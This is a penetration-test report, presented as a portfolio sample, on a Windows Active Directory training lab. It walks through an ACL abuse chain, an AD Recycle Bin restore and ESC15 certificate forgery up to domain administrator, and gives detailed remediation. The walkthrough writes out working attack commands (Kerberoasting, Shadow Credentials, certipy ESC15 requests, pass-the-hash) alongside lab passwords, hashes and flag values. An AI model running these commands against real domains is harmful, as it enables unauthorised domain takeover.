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1 Portfolio Use & Disclaimer 
This  report  is  provided  as  a  portfolio  sample to  demonstrate  penetration  testing  methodology,
technical writing, risk communication, and remediation planning.

The  assessment  described  herein  was  performed  against  a  deliberately  vulnerable  training
environment intended  for  educational  use.  The  target  system  represents  a  simulated  client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts
Assessor Contact 

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary
This  assessment  was  conducted  by  Joe  Thompson  as  a  network  penetration  test  of  a  simulated
Windows  Active  Directory  environment  hosted  at  10.129.232.167  (DC01.tombwatcher.htb).  Testing
was performed using a grey-box approach;  initial  credentials  for  a  low-privileged domain account
( henry ) were provided to represent the access available following an assumed-breach scenario.

3.1 Approach
Joe Thompson performed testing using a grey-box approach, with credentials for  henry  provided as
the starting position. The assessment targeted a Windows Active Directory environment with Active
Directory Certificate Services installed. BloodHound was used to map the full Active Directory graph
from the initial position, revealing a multi-hop ACL chain and a certificate template misconfiguration
enabling domain compromise.

Testing  progressed  through  six  sequential  ACL  hops  to  obtain  WinRM  access,  followed  by  ADCS
enumeration, AD Recycle Bin investigation, and exploitation of ESC15 (CVE-2024-49019) on a certificate
template whose enrollment rights were held by a deleted account.

3.2 Scope
The  scope  of  this  assessment  included  the  host  10.129.232.167  (DC01.tombwatcher.htb,
tombwatcher.htb). Testing covered all services accessible at the target IP from the provided starting
credentials.

In Scope Assets
Asset Type Description

Domain Controller 10.129.232.167  (DC01.tombwatcher.htb)

Domain tombwatcher.htb — Windows Active Directory

ADCS Active Directory Certificate Services on DC01

WinRM Port 5985 — target for initial foothold as john

3.3 Assessment Overview and Recommendations
During  this  assessment,  Joe  Thompson  identified  3  security  findings  that  enabled  full  domain
compromise from the provided low-privileged starting position.  The findings  include 1  critical-risk
finding and 2 high-risk findings.

BloodHound enumeration  from  henry 's  starting  position  revealed  a  six-hop  ACL  chain  leading  to
WinRM  access  as  john .  The  chain  proceeded:  henry's  WriteSPN  right  on  alfred  enabled
Kerberoasting to recover  alfred 's password;  alfred  added himself to the Infrastructure group via
AddSelf ;  Infrastructure members could read the GMSA password for  ansible_dev$ ;  ansible_dev$
force-reset sam 's password via ForceChangePassword ; sam  took ownership of john  via WriteOwner  and
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granted FullControl  via DACL edit; and Shadow Credentials against john  recovered his NT hash for a
WinRM session and the user flag.

Privilege escalation began with ADCS enumeration using certipy. The WebServer certificate template
contained an unresolved SID in  its  enrollment  rights  — an indicator  of  a  deleted account  whose
permissions remained active.  Querying the AD Recycle  Bin  confirmed the account  as  cert_admin ,
which was restored from the bin. john 's GenericAll  over cert_admin  allowed Shadow Credentials to
recover  cert_admin 's NT hash. As  cert_admin , the WebServer template was confirmed vulnerable to
ESC15 (CVE-2024-49019): the template's schema version 1 design allows an application policy to be
injected at  request  time,  enabling a  certificate  issued for  administrator@tombwatcher.htb  to  carry
Client Authentication usage. The resulting certificate was used to obtain an LDAP shell, where Shadow
Credentials on the Administrator account produced a PFX and NT hash for a pass-the-hash WinRM
session and the root flag.

Recommendations  include  remediating  the  ACL  chain  by  removing  unnecessary  delegation  rights
between service and user accounts, immediately disabling or removing the orphaned enrollment right
from the WebServer template, and patching the CA environment to address ESC15 by upgrading the
template schema version.
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4 Network Penetration Test Assessment
Summary
Joe  Thompson  conducted  testing  from  the  starting  position  of  a  provided  low-privileged  domain
account.  Testing  used  BloodHound to  map the  full  ACL  graph,  identified  and  executed  a  six-hop
privilege chain to gain WinRM access, then escalated to domain administrator via an AD Recycle Bin
restore and ADCS ESC15 exploitation.

4.1 Summary of Findings
During testing, Joe Thompson identified 3 findings that present varying levels of risk to the assessed
environment.  In  addition,  0  informational  observations  were  noted  which,  while  not  representing
direct  vulnerabilities,  highlight  opportunities  to  further  improve  overall  security  posture  and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 1 Critical and 2 High vulnerabilities were identified: 

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report. 
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# Severity Level Finding Name Page

1 9.9 (Critical) ADCS WebServer Template Vulnerable to ESC15
(CVE-2024-49019) Enables Forged Administrator Certificate 27

2 8.1 (High) Multi-Hop ACL Chain from henry to john Enables WinRM Access
via Shadow Credentials 33

3 8.1 (High) Orphaned SID in WebServer Template Enrollment Rights
Preserves Deleted Account's Certificate Enrollment Privileges 37
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5 Internal Network Compromise Walkthrough
During the assessment, Joe Thompson exploited a six-hop Active Directory ACL chain for initial WinRM
access, then escalated to domain administrator by restoring a deleted account from the AD Recycle
Bin  and  exploiting  ESC15  (CVE-2024-49019)  on  a  vulnerable  certificate  template.  The  walkthrough
below  documents  the  successful  attack  path  and  does  not  represent  all  vulnerabilities  identified
during testing.

Any  issues  not  required  to  achieve  compromise  are  documented  as  standalone  findings  in  the
Technical Findings Details section and ranked by severity.

5.1 Detailed Walkthrough
Joe Thompson performed the following to fully compromise the tombwatcher.htb domain.

Performed network enumeration — DC confirmed (tombwatcher.htb, DC01); WinRM (5985) and IIS
(80) identified; clock skew noted in LDAP cert — ntpdate run before any Kerberos operations
Collected BloodHound data as henry using RustHound; identified a six-hop ACL chain from henry →
alfred → Infrastructure group → ansible_dev$ → sam → john → WinRM; marked owned principals
and confirmed the full path
Executed the ACL chain: assigned SPN to alfred → Kerberoasted → cracked alfred:basketball →
added alfred to Infrastructure → read ansible_dev$ GMSA hash → force-reset sam's password →
took ownership of john → granted FullControl via DACL edit
Performed Shadow Credentials against john using sam's FullControl; recovered john's NT hash;
established evil-winrm session as john; retrieved user flag
Ran certipy-ad find as john — WebServer template (schema v1) identified with an unresolved SID in
enrollment rights; queried AD Recycle Bin from john's WinRM session — SID resolved to deleted
account cert_admin
Restored cert_admin from the AD Recycle Bin via Restore-ADObject; re-ingested BloodHound —
john has GenericAll over cert_admin; cert_admin holds enrollment rights on the WebServer
template
Shadow Credentials against cert_admin via john's GenericAll; confirmed WebServer template
vulnerable to ESC15 as cert_admin; requested ESC15 certificate for
administrator@tombwatcher.htb; authenticated with certipy auth LDAP shell; set_shadow_creds on
administrator → new PFX → administrator NT hash
Pass-the-hash as Administrator via evil-winrm; root flag retrieved

1. Network Enumeration

A full TCP port scan was performed, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.232.167 -oA TCP_allports
ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.232.167

Key  results:  Kerberos  (88)  and  LDAP  (389/3268)  confirmed  tombwatcher.htb  and  hostname  DC01 .
WinRM (5985) was present and accessible. IIS (80) showed a default page with nothing useful. The
LDAP TLS certificate carried a 4-hour clock skew; ntpdate  was run before any Kerberos operations. /
etc/hosts  entries were added for tombwatcher.htb  and dc01.tombwatcher.htb .

1. 

2. 

3. 

4. 

5. 

6. 

7. 

8. 
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2. BloodHound Enumeration and ACL Chain Discovery

RustHound was used to collect the full Active Directory graph from henry's starting credentials:

rusthound-ce -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' -o ./bh -z

henry  was marked as owned and outbound paths were explored:

A Shortest Paths from Owned Objects cypher query surfaced the ACL relationships:

The full attack path was confirmed in the graph view:
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Chain:  henry  WriteSPN  →  alfred  →  AddSelf  →  Infrastructure  →  GMSA  read  ansible_dev$  →

ForceChangePassword → sam  → WriteOwner → john  (Remote Management Users).

3. ACL Chain — WriteSPN, Kerberoasting, GMSA, Password Reset, and DACL Takeover

Step 1 — WriteSPN and Kerberoasting alfred

An SPN was assigned to alfred  using henry's WriteSPN right:

bloodyAD -u henry -p 'H3nry_987TGV!' --host 10.129.232.167 set object ALFRED 
servicePrincipalName -v 'http/pwned'

The account was Kerberoasted via NXC:

nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting kerberoasting.out

Hashcat cracked the TGS-REP hash (mode 13100):
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Credentials recovered: alfred:basketball

Step 2 — Add alfred to Infrastructure Group

alfred's AddSelf right on the Infrastructure group was used to join it:

bloodyAD -u alfred -p 'basketball' --host 10.129.232.167 add groupMember infrastructure 
Alfred

Step 3 — Read GMSA Password for ansible_dev$

Infrastructure group membership grants GMSA password read for ansible_dev$ :

nxc ldap tombwatcher.htb -u alfred -p 'basketball' --gmsa
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NT hash recovered: ansible_dev$:cba56cd2df7d642f622e2a59956f6d47

Step 4 — Force-Change sam's Password

ansible_dev$  has ForceChangePassword on sam :

bloodyAD -u ansible_dev$ -p ':cba56cd2df7d642f622e2a59956f6d47' --host 10.129.232.167 set
password sam 'Password1!'

Step 5 — Take Ownership of john and Grant FullControl

sam  has WriteOwner on  john .  Ownership was taken,  then a DACL entry granting FullControl  was
written:

impacket-owneredit -action write -new-owner 'sam' -target 'john' 'tombwatcher.htb'/'sam':'Pas
sword1!'
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' 'tomb
watcher.htb'/'sam':'Password1!'

4. Shadow Credentials on john — WinRM Foothold and User Flag

With FullControl over  john , Shadow Credentials were performed to recover john's NT hash without
modifying the account's password:

certipy-ad shadow auto -u sam@tombwatcher.htb -p 'Password1!' -account john -dc-ip 
10.129.232.167
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NT hash for john : ad9324754583e3e42b55aad4d3b8d2bf

evil-winrm -i 10.129.232.167 -u john -H 'ad9324754583e3e42b55aad4d3b8d2bf'

5. ADCS Enumeration — Orphaned SID in WebServer Template

Certipy was run from john's NT hash to enumerate certificate templates:

certipy-ad find -u john -hashes :ad9324754583e3e42b55aad4d3b8d2bf -target 10.129.232.167
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The  WebServer  template's  enrollment  rights  included  an  unresolved  SID  —
S-1-5-21-1392491010-1358638721-2126982587-1111 .  Every  other  principal  in  the  list  resolved  to  a
readable name.  An unresolved SID in enrollment rights  means the account was deleted after  the
permission was granted; the ACE remains active in the template's security descriptor.

The SID was queried from john's WinRM session:

Get-ADObject -Filter 'objectsid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' \
-Properties * -IncludeDeletedObjects

cert_admin  was found in the AD Recycle Bin with a recoverable GUID.

6. AD Recycle Bin Restore of cert_admin

Deleted objects can also be queried directly from the attack box via bloodyAD without a live WinRM
session:

bloodyAD -d tombwatcher.htb -u john -p ':ad9324754583e3e42b55aad4d3b8d2bf' \
  --host dc01.tombwatcher.htb --dc-ip 10.129.232.167 get search \
  -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)'
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cert_admin  was restored from the WinRM session using its GUID:

Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'

BloodHound was re-collected and re-ingested after the restore to confirm the relationships:
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john  has  GenericAll  over  cert_admin ,  and  cert_admin  holds  enrollment  rights  on  the  WebServer
template.

7. Shadow Credentials on cert_admin and ESC15 Certificate Abuse

Shadow Credentials were performed against cert_admin  using john's GenericAll:

certipy-ad shadow auto -u john@tombwatcher.htb -hashes ':ad9324754583e3e42b55aad4d3b8d2bf' \
  -account cert_admin -dc-ip 10.129.232.167

NT hash for cert_admin : f87ebf0febd9c4095c68a88928755773

Certipy confirmed the WebServer template was vulnerable to ESC15 as cert_admin :

certipy-ad find -u cert_admin -hashes :f87ebf0febd9c4095c68a88928755773 \
  -target 10.129.232.167 -vulnerable -stdout
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ESC15 (CVE-2024-49019) applies to schema version 1 templates where the application policy extension
is not enforced by the CA. At certificate request time, an additional  Application Policies  extension
can  be  injected  specifying  Client  Authentication ,  overriding  the  template's  intended  use  and
allowing  the  resulting  certificate  to  authenticate  to  the  domain.  Combined  with  supplying  the
administrator's  UPN  and  SID  in  the  request,  the  CA  issues  a  certificate  that  can  authenticate  as
Administrator.
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A certificate was requested for administrator@tombwatcher.htb  with the injected Client Authentication
policy:

certipy-ad req -u cert_admin -hashes :f87ebf0febd9c4095c68a88928755773 \
  -target 10.129.232.167 -ca tombwatcher-CA-1 -template WebServer \
  -upn 'administrator@tombwatcher.htb' \
  -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
  -application-policies 'Client Authentication'

Certipy auth opened an LDAP shell as administrator:

certipy-ad auth -dc-ip 10.129.232.167 -pfx administrator.pfx -ldap-shell

From the LDAP shell, Shadow Credentials were run on the Administrator account to produce a usable
PFX:

# set_shadow_creds administrator

The new PFX was authenticated to recover the Administrator NT hash:

certipy-ad auth -pfx d11l0UMV.pfx -password '6SksxrnGxLkzvwxwo9ao' \
  -username Administrator -domain tombwatcher.htb -dc-ip 10.129.232.167
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NT hash for Administrator : f61db423bebe3328d33af26741afe5fc

8. Domain Compromise — Administrator Hash and Root Flag

evil-winrm -i 10.129.232.167 -u Administrator -H f61db423bebe3328d33af26741afe5fc
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6 Remediation Summary
The findings from this assessment span Active Directory delegation abuse, orphaned permissions on a
certificate template, and an exploitable ADCS template configuration. Remediation is prioritised by
severity and enablement role within the attack chain.

6.1 Short Term
SHORT TERM REMEDIATION:

Remove the orphaned SID from the WebServer template's enrollment rights immediately. The
deleted cert_admin  account's ACE remains active in the certificate template security descriptor and
grants enrollment access to anyone who can restore and control that account. The ACE should be
removed from the template's security descriptor, and the template should be audited to confirm
that only current, named, least-privilege principals hold enrollment rights.
Upgrade the WebServer certificate template schema version from 1 to 2 or later, and enable the
'Enforce certificate request' flag on the CA to prevent application policy injection at request time.
Schema version 1 templates do not enforce the application policy extension, which is the root
cause of ESC15. Migrating to schema version 2 closes the injection path without changing the
template's legitimate use.
Rotate all credentials and hashes affected by this assessment: alfred , sam , john , cert_admin , and 
Administrator . The ansible_dev$  GMSA password should be rotated by removing and re-adding
the GMSA to force a password refresh.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

Review and remove the ACL chain linking henry  to john . Each hop in the chain represents a
misconfigured delegation right: 

henry → alfred: remove WriteSPN
alfred → Infrastructure: remove AddSelf group membership right
Infrastructure → ansible_dev$: review whether GMSA read access should be granted to all
Infrastructure members or scoped to specific accounts
ansible_dev$ → sam: remove ForceChangePassword
sam → john: remove WriteOwner Use BloodHound to identify and remediate similar chains
across the environment. Any path from a standard user account to a privileged group, service
account, or Remote Management Users member represents a risk.

Implement a certificate template review process. Run certipy-ad find  regularly and audit all
templates for unresolved SIDs in enrollment rights, schema version 1 with 
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT , and any template where manager approval is not required
and enrollment is granted broadly. ESC1, ESC4, ESC15, and related misconfigurations frequently
accumulate after CA configuration changes or account deletions.

• 

• 

• 

• 

◦ 

◦ 

◦ 

◦ 

◦ 

• 

ARCHWARDEN

Joe Thompson TombWatcher 25



6.3 Long Term
LONG TERM REMEDIATION:

Replace service account passwords with Group Managed Service Accounts (gMSA) wherever
possible. gMSA passwords are 240-character random strings rotated automatically, eliminating
Kerberoasting and ForceChangePassword vectors entirely. Accounts like alfred  and service
accounts holding delegation rights are priority targets for this migration.
Establish a BloodHound-based quarterly ACL audit. The WriteSPN, AddSelf, ForceChangePassword,
WriteOwner, and GenericAll edges in this environment represent a class of AD misconfiguration
that accumulates over time through legacy access grants and is invisible without graph-based
tooling. Automated alerting on new dangerous edges added to tier-0 targets and Remote
Management Users members should be implemented as an ongoing control.
Implement a certificate enrollment monitoring process. Alert on certificates issued for accounts in
privileged groups (Domain Admins, Enterprise Admins) or where the certificate requester differs
from the certificate subject. The ESC15 exploitation in this assessment issued a certificate for 
administrator  as cert_admin  — this mismatch should be detectable in CA audit logs (Event ID
4887) with appropriate alerting.

• 

• 

• 
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7 Technical Findings Details

1. ADCS WebServer Template Vulnerable to ESC15
(CVE-2024-49019) Enables Forged Administrator Certificate - 
Critical

CWE CWE-295 - Improper Certificate Validation

CVSS 3.1 9.9 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Root Cause

The WebServer certificate template uses schema version 1 and the CA does not
enforce  the  CT_FLAG_NO_SECURITY_EXTENSION  flag.  This  makes  the  template
vulnerable to ESC15 (CVE-2024-49019): at certificate request time, an Application
Policies  extension can be injected specifying Client Authentication , overriding
the  template's  original  intended  use.  Combined  with  supplying  a  target  UPN
( administrator@tombwatcher.htb ) and the Administrator's SID in the request, the
CA  issues  a  certificate  that  can  be  used  to  authenticate  as  the  domain
Administrator.  As  cert_admin  —  an  account  with  enrollment  rights  on  this
template — the certificate was requested, authenticated via certipy's LDAP shell,
and used to obtain the Administrator NT hash.

Impact

Full  domain  compromise.  A  certificate  for  administrator@tombwatcher.htb  was
issued  via  ESC15.  Certipy's  LDAP  shell  allowed  Shadow  Credentials  on  the
Administrator account, producing a PFX and NT hash. A pass-the-hash session via
evil-winrm delivered the root flag.

Affected
Component

ADCS WebServer template — schema version 1, application policy not
enforced, CT_FLAG_NO_SECURITY_EXTENSION not set
tombwatcher-CA-1 — CA accepts Application Policies extension injection at
request time

Remediation

Upgrade the WebServer template from schema version 1 to schema version 2 or
later.  Schema version 2  templates  enforce the application policy  extension and
prevent injection at request time, closing the ESC15 path. To upgrade:

Open the Certificate Templates console
Duplicate the WebServer template (this creates a version 2 copy)
Configure the duplicate with the same settings and enrollment rights
Deprecate and remove the original schema version 1 template

Additionally, enable CA Certificate Manager Approval  on any template that issues
certificates  usable  for  Client  Authentication,  so  that  certificate  requests  require
manual  administrator review before issuance.  Monitor Event ID 4887 in the CA
security log for certificates issued where the requester account differs from the
certificate subject.

References

https://nvd.nist.gov/vuln/detail/CVE-2024-49019
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation

• 

• 

1. 
2. 
3. 
4. 

• 
• 
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https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-
authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-
a468-4d4f3b188f16

Finding Evidence
Certipy confirmed the WebServer template as vulnerable to ESC15 when accessed as cert_admin:

• 
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A certificate for administrator@tombwatcher.htb was requested with the injected Client Authentication
application policy:

Certipy auth opened an LDAP shell as administrator:
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Shadow Credentials on Administrator produced a usable PFX:

The PFX was authenticated to recover the Administrator NT hash:

Pass-the-hash via evil-winrm delivered full domain administrator access:
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2. Multi-Hop ACL Chain from henry to john Enables WinRM
Access via Shadow Credentials - High

CWE CWE-732 - Incorrect Permission Assignment for Critical Resource

CVSS 3.1 8.1 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Root Cause

A chain of six ACL misconfigurations connects the provided starting account henry
to john , a member of Remote Management Users:

henry  holds WriteSPN over alfred  — enables Kerberoasting to crack alfred's
password
alfred  holds AddSelf on the Infrastructure group — enables self-enrollment
Infrastructure members can read the GMSA password for ansible_dev$
ansible_dev$  holds ForceChangePassword on sam  — enables password reset
without knowing the current password
sam  holds WriteOwner on john  — enables DACL takeover
With FullControl over john , Shadow Credentials produces NT hash without
touching the password

Each  hop  was  exploitable  in  sequence  using  BloodHound-identified  paths  and
standard tooling (bloodyAD, NXC, impacket, certipy). The full chain was executed to
obtain a WinRM shell and the user flag as john .

Impact
WinRM access to the domain controller as john , with the user flag. john  also holds
GenericAll over cert_admin  in the AD Recycle Bin, enabling the privilege escalation
chain in Findings 2 and 3.

Affected
Component

henry — WriteSPN over alfred
alfred — AddSelf on Infrastructure
group
Infrastructure group — GMSA
password read for ansible_dev$

ansible_dev$ —
ForceChangePassword on sam
sam — WriteOwner on john
john — Remote Management Users
(WinRM access)

Remediation

Audit and remove each misconfigured ACL in the chain. Specifically:

Remove henry 's WriteSPN right over alfred . Assign SPNs only through a
controlled administrative process.
Remove alfred 's AddSelf right on the Infrastructure group. Group membership
changes should require administrator approval.
Review the Infrastructure group's GMSA read access and scope it to specific
accounts rather than the full group.
Remove ansible_dev$ 's ForceChangePassword right over sam . Use privileged
access management processes for password resets.
Remove sam 's WriteOwner over john .

Conduct a quarterly BloodHound audit  to detect new ACL paths from standard
user accounts to privileged targets or Remote Management Users members.

1. 

2. 
3. 
4. 

5. 
6. 

• 
• 

• 

• 

• 
• 

• 

• 

• 

• 

• 
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References
https://bloodhound.readthedocs.io/en/latest/
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/
acl-persistence-abuse

Finding Evidence
BloodHound revealed the full ACL chain in the graph view:

WriteSPN was used to assign an SPN to alfred for Kerberoasting:

• 
• 
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alfred joined the Infrastructure group (AddSelf), enabling GMSA read:

ansible_dev$ reset sam's password; sam took ownership of john and granted FullControl:
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Shadow Credentials via FullControl recovered john's NT hash:
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3. Orphaned SID in WebServer Template Enrollment Rights
Preserves Deleted Account's Certificate Enrollment
Privileges - High

CWE CWE-284 - Improper Access Control

CVSS 3.1 8.1 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Root Cause

The WebServer certificate template's enrollment rights include an ACE referencing
S-1-5-21-1392491010-1358638721-2126982587-1111 , an SID that does not resolve to
any live Active Directory object. The account belonging to this SID — cert_admin  —
was  deleted  after  the  ACE  was  granted.  Certificate  template  ACEs  are  not
automatically  removed  when  an  account  is  deleted;  they  remain  active  in  the
template's security descriptor. Any attacker who can restore the deleted account
and control it will inherit the active enrollment right, which in this case enabled
ESC15 exploitation for domain compromise.

Impact

Enabled the ESC15 privilege escalation chain in Finding 3. Restoring  cert_admin
from  the  AD  Recycle  Bin  and  obtaining  its  NT  hash  via  Shadow  Credentials
(through  john's  GenericAll)  provided  enrollment  rights  on  the  vulnerable
WebServer template.

Affected
Component

WebServer ADCS template — enrollment rights ACE for orphaned SID
S-1-5-21-...-1111
AD Recycle Bin — cert_admin recoverable with original attributes intact

Remediation

Remove  the  orphaned  SID  from  the  WebServer  template's  enrollment  rights
immediately. Certificate template security descriptors should be audited regularly
for  unresolved  SIDs  —  certipy's  JSON  output  or  the  Certificate  Template  MMC
snap-in can identify these. Implement a process that reviews certificate template
enrollment  rights  as  part  of  the  account  offboarding procedure,  removing any
ACEs tied to the decommissioned account before or immediately after deletion. If
cert_admin  is no longer needed, permanently delete it (bypassing the Recycle Bin)
to remove the restore vector.

References https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation

Finding Evidence
Certipy identified the unresolved SID in the WebServer template's enrollment rights:

• 

• 
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A PowerShell query confirmed the SID belonged to cert_admin  in the AD Recycle Bin:

The same query is also possible from the attack box via bloodyAD:

After restoring cert_admin , BloodHound confirmed the enrollment relationship and john's GenericAll
path:
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A Appendix

A.1 Finding Severities
Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range

Critical 9.0 – 10.0

High 7.0 – 8.9

Medium 4.0 – 6.9

Low 0.1 – 3.9

Info 0.0

ARCHWARDEN

Joe Thompson TombWatcher 42



A.2 Host & Service Discovery
IP Address Port Service Notes

10.129.232.167 53 DNS Simple DNS Plus

10.129.232.167 80 HTTP Microsoft IIS httpd 10.0 — default page

10.129.232.167 88 Kerberos Microsoft Windows Kerberos

10.129.232.167 135 RPC Microsoft Windows RPC

10.129.232.167 139 NetBIOS Microsoft Windows netbios-ssn

10.129.232.167 389 LDAP Microsoft Windows AD LDAP (Domain: tombwatcher.htb)

10.129.232.167 445 SMB Microsoft SMB

10.129.232.167 464 kpasswd5 Kerberos password change

10.129.232.167 593 RPC/HTTP Microsoft Windows RPC over HTTP 1.0

10.129.232.167 636 LDAPS LDAP over SSL

10.129.232.167 3268 LDAP GC Microsoft Windows AD LDAP — Global Catalog

10.129.232.167 3269 LDAPS GC LDAP GC over SSL

10.129.232.167 5985 WinRM Microsoft HTTPAPI httpd 2.0

10.129.232.167 9389 mc-nmf .NET Message Framing
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A.3 Subdomain Discovery
URL Description Discovery Method

tombwatcher.htb Primary domain — DC01 LDAP domain discovery

dc01.tombwatcher.htb Domain controller LDAP hostname enumeration
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A.4 Exploited Hosts
Host Scope Method Notes

DC01.tombwatcher
.htb
(10.129.232.167)

Intern
al

henry → WriteSPN → Kerberoast → GMSA →
ForceChangePassword → WriteOwner →
Shadow Credentials

WinRM as john;
user flag

DC01.tombwatcher
.htb
(10.129.232.167)

Intern
al

AD Recycle Bin restore cert_admin → Shadow
Credentials → ESC15 → LDAP shell → Shadow
Creds Admin

NT hash; full
domain
compromise
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A.5 Compromised Users
Username Type Method Notes

henry Domain user Provided starting credentials BloodHound collection;
WriteSPN

alfred Domain user WriteSPN → Kerberoasting → hash
crack (basketball)

AddSelf to Infrastructure
group

ansible_dev
$ GMSA GMSA password read via

Infrastructure group membership
ForceChangePassword on
sam

sam Domain user ForceChangePassword via
ansible_dev$

WriteOwner + DACL
takeover of john

john Domain user Shadow Credentials via sam
FullControl

WinRM; user flag;
GenericAll over cert_admin

cert_admin Domain user
(restored)

AD Recycle Bin restore; Shadow
Credentials via john GenericAll

cert_admin ESC15
enrollment rights

Administrat
or

Domain
administrator

ESC15 forged certificate → LDAP shell
→ Shadow Credentials

NT hash; full domain
compromise; root flag

ARCHWARDEN

Joe Thompson TombWatcher 46



A.6 Changes/Host Cleanup
Host Scope Change / Cleanup Needed

tombwatche
r.htb AD SPN assigned to alfred — remove if cleanup script has not run

tombwatche
r.htb AD sam's password was force-reset to Password1! — reset to original or

random

tombwatche
r.htb AD john's DACL was modified — verify ownership and ACEs are restored

tombwatche
r.htb AD cert_admin was restored from Recycle Bin — re-delete if not needed

tombwatche
r.htb AD Shadow Credentials added to john, cert_admin, and Administrator —

remove msDS-KeyCredentialLink entries

tombwatche
r.htb ADCS Certificates issued for administrator via ESC15 — revoke from CA
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A.7 Flags Discovered
Flag
# Host Flag Value Flag Location Method Used

1
DC01.tomb
watcher.ht
b

1e9ff56f0939c8b
d5c29bc3b8a5b9
617

C:
\Users\john\Deskto
p\user.txt

henry → ACL chain → Shadow
Credentials → evil-winrm as john

2
DC01.tomb
watcher.ht
b

fc776a8d1a4bd74
d0c51c9307ed16
b98

C:
\Users\Administrato
r\Desktop\root.txt

cert_admin → ESC15 → LDAP shell
→ Shadow Creds → evil-winrm as
Administrator
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End of Report 
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